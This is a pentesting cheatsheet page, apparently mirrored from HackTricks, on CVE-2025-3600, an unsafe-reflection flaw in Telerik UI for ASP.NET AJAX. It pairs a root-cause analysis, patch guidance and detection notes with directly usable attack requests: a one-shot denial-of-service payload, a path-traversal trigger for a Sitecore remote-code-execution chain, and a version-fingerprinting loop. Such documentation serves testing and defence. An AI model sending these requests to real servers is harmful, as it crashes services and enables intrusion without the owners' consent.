daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

telerik-ui-aspnet-ajax-unsafe-reflection-webresource-axd.md (13404B)


      1 ---
      2 title: "Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/telerik-ui-aspnet-ajax-unsafe-reflection-webresource-axd.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/telerik-ui-aspnet-ajax-unsafe-reflection-webresource-axd.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)
     14 
     15 > Pre‑auth constructor execution in Telerik UI for ASP.NET AJAX Image Editor cache handler enables universal DoS and, in many apps, pre‑auth RCE via target‑specific gadgets (CVE-2025-3600).
     16 
     17 ## TL;DR
     18 
     19 - Affected component/route: `Telerik.Web.UI.WebResource.axd` with query `type=iec` (Image Editor cache handler). It is exposed pre-authentication in many products.
     20 - Primitive: The attacker controls a type name (`prtype`). The handler resolves it with `Type.GetType()` and invokes `Activator.CreateInstance()` before verifying interface type safety. Any resolvable public parameterless .NET type constructor will run.<sup>[[2]](#references)</sup>
     21 - Impact:
     22   - Universal pre‑auth DoS with a .NET framework gadget (PowerShell WSMan finalizer).
     23   - Often elevates to pre‑auth RCE in real deployments by abusing app‑specific gadgets, especially insecure AppDomain.AssemblyResolve handlers.
     24 - Fix: Update to Telerik UI for ASP.NET AJAX 2025.1.416+ or remove/lock the handler.
     25 
     26 ## Affected versions
     27 
     28 - Telerik UI for ASP.NET AJAX versions 2011.2.712 through 2025.1.218 (inclusive) are vulnerable.<sup>[[1]](#references)</sup>
     29 - Fixed in 2025.1.416 (released 2025-04-29). Patch immediately or remove/lock down the handler.<sup>[[1]](#references)</sup>
     30 
     31 ## Affected surface and quick discovery
     32 
     33 - Check exposure:
     34   - GET /Telerik.Web.UI.WebResource.axd should return something other than 404/403 if the handler is wired.
     35   - Inspect web.config for handlers mapping to Telerik.Web.UI.WebResource.axd.
     36   - Do not rely on finding Telerik strings on `/` or login pages. Real products such as Sitecore often expose the handler without referencing it in the default HTML.
     37 - Triggering the vulnerable code path requires `type=iec`, `dkey=1`, and `prtype=<AssemblyQualifiedType>`.
     38 
     39 Example probe and generic trigger:
     40 
     41 ```http
     42 GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly
     43 ```
     44 
     45 Notes:
     46 - Some PoCs use dtype; the implementation checks dkey=="1" for the download flow.
     47 - prtype must be assembly-qualified or resolvable in the current AppDomain.
     48 
     49 Useful code/operations checks:
     50 
     51 ```xml
     52 <!-- system.web -->
     53 <add path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" validate="false" />
     54 
     55 <!-- system.webServer -->
     56 <add name="Telerik_Web_UI_WebResource_axd" path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" preCondition="integratedMode" />
     57 ```
     58 
     59 ```bash
     60 rg -n 'Telerik\.Web\.UI\.WebResource\.axd|Telerik\.Web\.UI\.WebResource' web.config **/*.config
     61 curl -skI https://target/Telerik.Web.UI.WebResource.axd
     62 curl -sk 'https://target/Telerik.Web.UI.WebResource.axd?type=iec'
     63 ```
     64 
     65 ## Fast version triage on legacy installs
     66 
     67 If the same application also exposes the legacy `type=rau` handler, older Telerik tooling can still help you fingerprint the shared `Telerik.Web.UI.dll` version before attempting `type=iec` research. This does **not** exploit CVE-2025-3600 directly; it only reuses the fact that `rau` and `iec` live in the same assembly.
     68 
     69 Practical use:
     70 
     71 - If `type=rau` is reachable, use the classic major-version brute force from older RAU tooling to recover the exact `Telerik.Web.UI` assembly version.
     72 - Compare the recovered version against the vulnerable range (`2011.2.712` to `2025.1.218`) and the fixed build (`2025.1.416+`).
     73 - Treat `type=rau` absence as inconclusive. `iec` may still be exposed even when `rau` is disabled or filtered.
     74 
     75 Example with the legacy `CVE-2019-18935.py` helper:
     76 
     77 ```bash
     78 for YEAR in $(seq 2011 2025); do
     79   echo -n "$YEAR: "
     80   python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null \
     81     -u 'https://target/Telerik.Web.UI.WebResource.axd?type=rau' 2>/dev/null |
     82     grep -oE "Telerik.Web.UI, Version=$YEAR\\.[0-9\\.]+" || echo
     83 done
     84 ```
     85 
     86 Why this helps:
     87 
     88 - Enterprise apps often bundle stale Telerik builds for years.
     89 - Red teams can quickly distinguish "handler exposed" from "likely still on a vulnerable DLL".
     90 - During incident response, the same trick helps scope large IIS fleets when filesystem access is not immediately available.
     91 
     92 ## Root cause – unsafe reflection in ImageEditorCacheHandler
     93 
     94 The Image Editor cache download flow constructs an instance of a type supplied in prtype and only later casts it to ICacheImageProvider and validates the download key. The constructor has already run when validation fails.<sup>[[2]](#references)</sup>
     95 
     96 <details>
     97 <summary>Relevant decompiled flow</summary>
     98 
     99 ```csharp
    100 // entrypoint
    101 public void ProcessRequest(HttpContext context)
    102 {
    103     string text = context.Request["dkey"];           // dkey
    104     string text2 = context.Request.Form["encryptedDownloadKey"]; // download key
    105     ...
    106     if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1"
    107     {
    108         ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here
    109         string key = context.Request["key"];
    110         if (text == "1" && !this.IsValidDownloadKey(text2))
    111         {
    112             this.CompleteAsBadRequest(context.ApplicationInstance);
    113             return; // cast/check happens after ctor has already run
    114         }
    115         using (EditableImage editableImage = imageProvider.Retrieve(key))
    116         {
    117             this.SendImage(editableImage, context, text, fileName);
    118         }
    119     }
    120 }
    121 
    122 private ICacheImageProvider GetImageProvider(HttpContext context)
    123 {
    124     if (!string.IsNullOrEmpty(context.Request["prtype"]))
    125     {
    126         return RadImageEditor.InitCacheImageProvider(
    127             RadImageEditor.GetICacheImageProviderType(context.Request["prtype"]) // [A]
    128         );
    129     }
    130     ...
    131 }
    132 
    133 public static Type GetICacheImageProviderType(string imageProviderTypeName)
    134 {
    135     return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ?
    136         typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B]
    137 }
    138 
    139 protected internal static ICacheImageProvider InitCacheImageProvider(Type t)
    140 {
    141     // unsafe: construct before enforcing interface type-safety
    142     return (ICacheImageProvider)Activator.CreateInstance(t); // [C]
    143 }
    144 ```
    145 </details>
    146 
    147 Exploit primitive: controlled type string → `Type.GetType` resolves it → `Activator.CreateInstance` runs its public parameterless constructor. Even if the request is rejected afterward, constructor side effects have already occurred.
    148 
    149 ## Universal DoS gadget (no app-specific gadgets required)
    150 
    151 Class: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell) has a finalizer that disposes an uninitialized handle, causing an unhandled exception when GC finalizes it. This reliably crashes the IIS worker process shortly after instantiation.<sup>[[2]](#references)[[3]](#references)</sup>
    152 
    153 One‑shot DoS request:
    154 
    155 ```http
    156 GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
    157 ```
    158 
    159 Notes:
    160 
    161 - In a controlled lab, repeated requests can keep recycling the worker. You may observe the constructor in a debugger before the crash occurs during finalization. Avoid this destructive validation on production systems.
    162 
    163 ## From DoS to RCE – escalation patterns
    164 
    165 Unsafe constructor execution unlocks many target‑specific gadgets and chains.<sup>[[2]](#references)</sup> Hunt for:
    166 
    167 1) Parameterless constructors that process attacker input
    168 - Some ctors (or static initializers) immediately read Request query/body/cookies/headers and (de)serialize them.
    169 - Example (Sitecore): a ctor chain reaches GetLayoutDefinition() which reads HTTP body "layout" and deserializes JSON via JSON.NET.
    170 
    171 2) Constructors that touch files
    172 - Constructors that load or deserialize configuration or blobs from disk can be coerced if you can write to those paths (uploads, temporary, or data directories).
    173 
    174 3) Constructors performing app-specific ops
    175 - Resetting state, toggling modules, or terminating processes.
    176 
    177 4) Constructors/static ctors that register AppDomain event handlers
    178 - Many apps add AppDomain.CurrentDomain.AssemblyResolve handlers that build DLL paths from args.Name without sanitization. If you can influence type resolution you can coerce arbitrary DLL loads from attacker‑controlled paths.
    179 
    180 5) Forcing AssemblyResolve via Type.GetType
    181 - Request a non-existent type to force CLR resolution and invoke registered (possibly insecure) resolvers. Example assembly-qualified name:
    182 
    183 ```text
    184 This.Class.Does.Not.Exist, watchTowr
    185 ```
    186 
    187 6) Finalizers with destructive side effects
    188 - Some types delete fixed-path files in finalizers. Combined with link-following or predictable paths this can enable local privilege escalation in certain environments.<sup>[[4]](#references)</sup>
    189 
    190 ## Example pre‑auth RCE chain (Sitecore XP)
    191 
    192 - Step 1 – Pre‑auth: Trigger a type whose static/instance ctor registers an insecure AssemblyResolve handler (e.g., Sitecore’s FolderControlSource in ControlFactory).<sup>[[5]](#references)</sup>
    193 - Step 2 – Post‑auth: Obtain write into a resolver-probed directory (e.g., via an auth bypass or weak upload) and plant a malicious DLL.
    194 - Step 3 – Pre‑auth: Use CVE‑2025‑3600 with a non-existent type and a traversal‑laden assembly name to force the resolver to load your planted DLL → code execution as the IIS worker.<sup>[[2]](#references)[[5]](#references)</sup>
    195 
    196 Trigger examples:
    197 
    198 ```http
    199 # Load the insecure resolver (no auth on many setups)
    200 GET /-/xaml/Sitecore.Shell.Xaml.WebControl
    201 
    202 # Coerce the resolver via Telerik unsafe reflection
    203 GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr
    204 ```
    205 
    206 ## Validation, hunting and DFIR notes
    207 
    208 - Controlled-lab validation: send the DoS payload only against a disposable instance and watch for an application-pool recycle or unhandled exception tied to the WSMan finalizer.
    209 - Hunt in telemetry:
    210   - Requests to /Telerik.Web.UI.WebResource.axd with type=iec and odd prtype values.
    211   - Failed type loads and AppDomain.AssemblyResolve events.
    212   - Sudden w3wp.exe crashes/recycles following such requests.
    213 
    214 ## Mitigation
    215 
    216 - Patch to Telerik UI for ASP.NET AJAX 2025.1.416 or later.<sup>[[1]](#references)</sup>
    217 - Remove or restrict exposure of Telerik.Web.UI.WebResource.axd where possible (WAF/rewrites).<sup>[[1]](#references)</sup>
    218 - Reject or strictly allowlist `prtype` server-side (the upgrade applies checks before instantiation).
    219 - Audit and harden custom AppDomain.AssemblyResolve handlers. Avoid building paths from args.Name without sanitization; prefer strong-named loads or whitelists.
    220 - Constrain upload/write locations and prevent DLL drops into probed directories.
    221 - Monitor for non-existent type load attempts to catch resolver abuse.
    222 
    223 ## Cheat‑sheet
    224 
    225 - Presence check:
    226   - GET /Telerik.Web.UI.WebResource.axd
    227   - Look for handler mapping in web.config
    228 - Exploit skeleton:
    229 
    230 ```http
    231 GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
    232 ```
    233 
    234 - Universal DoS:
    235 
    236 ```http
    237 ...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
    238 ```
    239 
    240 - Trigger resolver:
    241 
    242 ```text
    243 This.Class.Does.Not.Exist, watchTowr
    244 ```
    245 
    246 ## Related techniques
    247 
    248 - IIS post-exploitation, .NET key extraction, and in‑memory loaders:
    249 
    250 [Iis Internet Information Services](/hacktricks/network-services-pentesting/pentesting-web/iis-internet-information-services)
    251 
    252 - ASP.NET ViewState deserialization and machineKey abuses:
    253 
    254 [Exploiting   Viewstate Parameter](/hacktricks/pentesting-web/deserialization/exploiting-viewstate-parameter)
    255 
    256 ## References
    257 
    258 - [1] [Progress Telerik – Unsafe Reflection Vulnerability (3600)](https://www.telerik.com/products/aspnet-ajax/documentation/knowledge-base/kb-security-unsafe-reflection-cve-2025-3600)
    259 - [2] [watchTowr labs – More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)](https://labs.watchtowr.com/more-than-dos-progress-telerik-ui-for-asp-net-ajax-unsafe-reflection-cve-2025-3600/)
    260 - [3] [Black Hat USA 2019 – SSO Wars: The Token Menace (Mirosh & Muñoz) – DoS gadget background](https://i.blackhat.com/USA-19/Wednesday/us-19-Munoz-SSO-Wars-The-Token-Menace-wp.pdf)
    261 - [4] [ZDI – Abusing arbitrary file deletes to escalate privilege](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks)
    262 - [5] [watchTowr – Is “B” for Backdoor? (Sitecore chain CVE-2025-34509)](https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform/)